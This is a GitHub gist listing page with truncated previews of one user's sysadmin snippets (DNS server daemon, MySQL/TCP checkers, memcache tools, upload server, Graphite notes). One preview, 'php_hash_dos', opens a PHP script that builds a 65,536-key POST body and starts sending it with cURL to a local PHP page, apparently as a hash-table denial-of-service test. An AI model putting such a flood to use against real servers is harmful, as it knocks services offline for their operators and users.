Skip to content

Instantly share code, notes, and snippets.

@ri0day
ri0day / dns-server
Created November 2, 2011 03:32
dns-socket
#!/usr/bin/python
import socket,select
# -*- coding: utf-8 -*-
import sys, os, time, atexit
from signal import SIGTERM
class Daemon:
"""
A generic daemon class.
Usage: subclass the Daemon class and override the _run() method
@ri0day
ri0day / check-tcp
Created November 2, 2011 03:36
checker_tcp
#!/usr/bin/python
import sys
import MySQLdb
import ConfigParser
config=ConfigParser.ConfigParser()
config.readfp(open('/tmp/DNS.conf'))
pick_list=config.get('DNS','ip')
hostlist=map(str,pick_list.split(','))
def pingcmd(ip,port):
@ri0day
ri0day / dns-server.py
Created November 4, 2011 07:40
finally dns server -useable
#!/usr/bin/python
import socket,select
# -*- coding: utf-8 -*-
import sys, os, time, atexit
from signal import SIGTERM
class Daemon:
"""
A generic daemon class.
Usage: subclass the Daemon class and override the _run() method
@ri0day
ri0day / bs.py
Created November 4, 2011 07:41
finally dns check-useable
#!/usr/local/bin/python
import sys
import MySQLdb
import ConfigParser
config=ConfigParser.ConfigParser()
config.readfp(open('/tmp/DNS.conf'))
pick_list=config.get('DNS','ip')
hostlist=map(str,pick_list.split(','))
monitor_user=config.get('check_mysql','username')
@ri0day
ri0day / upload.py
Created December 7, 2011 09:14
file upload
#!/usr/bin/python
# Copyright Jon Berg , turtlemeat.com
# Modified by nikomu @ code.google.com
import string,cgi,time
from os import curdir, sep
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from sys import exit
import os # os. path
@ri0day
ri0day / mem.py
Created December 20, 2011 07:14
memcache http api
#/usr/bin/python
import pylibmc
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import cgi
import logging
class example():
host = ""
server = ""
def __init__(self, host='10.10.93.16',port=11211):
@ri0day
ri0day / memcache_cli.sh
Created December 30, 2011 08:54
bash memcache cli
#!/bin/bash
#filename cm.sh
#author:wumin
#---Date:2011.12.29 pm---
#notice:not suport kind of ubuntu and debian system.(debian not suport /dev/tcp/host/port stye )
usage() {
format_usage="Usage:\n
@ri0day
ri0day / gist:1563407
Created January 5, 2012 02:30
php_hash_dos
<?php
$size = pow(2, 16);
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key)
{
$post_string = $post_string.$key . '=1' .'&';
}
//echo $post_string, "\n";
//create cURL connection
$curl_connection =
curl_init('http://127.0.0.1/a.php');

Installing Graphite:

Graphite does two things:

  1. Store numeric time-series data
  2. Render graphs of this data on demand

What Graphite does not do is collect data for you, however there are some tools out there that know

#!/usr/bin/env python
# Parse disk:* from lshw -xml
"""
Sample Output:
ATA Disk Hitachi HDS72105 /dev/sda
Disk Space: 500107862016
Sector size: 512